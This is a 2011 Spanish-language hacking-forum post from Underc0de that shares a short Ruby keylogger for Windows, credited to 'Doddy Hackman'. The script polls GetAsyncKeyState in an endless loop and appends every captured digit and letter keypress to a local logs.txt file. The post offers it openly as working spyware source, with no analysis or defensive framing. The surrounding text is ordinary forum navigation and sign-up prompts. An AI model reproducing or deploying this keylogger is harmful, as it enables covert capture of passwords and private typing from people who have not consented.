Saltar al contenido
Underc0de /foro

[Ruby] Simple Keylogger

Iniciado por BigBear, Julio 03, 2011, 09:32:00 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Avatar de BigBear
Julio 03, 2011, 09:32:00 PM Ultima modificación: Julio 31, 2014, 10:17:37 PM por Expermicid

Un simple keylogger en Ruby

Código: ruby

#!usr/bin/ruby
#Simple Keylogger in Ruby
#(C) Doddy Hackman 2011

require 'Win32API'

def savefile(filename,text)
files = File.open(filename,'a')
files.puts text+"\n"
end

def capturar

nave = Win32API.new("user32","GetAsyncKeyState",["i"],"i")

while 1

for num1 in (0x30..0x39) #numbers
if nave.call(num1) & 0x01 == 1
savefile("logs.txt",num1.chr())
end
end

for num2 in (0x41..0x5A) #letters
if nave.call(num2) & 0x01 == 1
savefile("logs.txt",num2.chr())
end
end
end
end

capturar() #Start the keylogger

# ¿ The End ?
WhatsApp Telegram

¿Te quedó una duda sobre Ruby?

Preguntala y te responde la comunidad (y el asistente Underc0de IA si nadie llega antes). Es gratis y tarda un minuto.

Ya tengo cuenta
Guardamos tu pregunta en este navegador: después de entrar la publicás con un clic.
Grupo de WhatsApp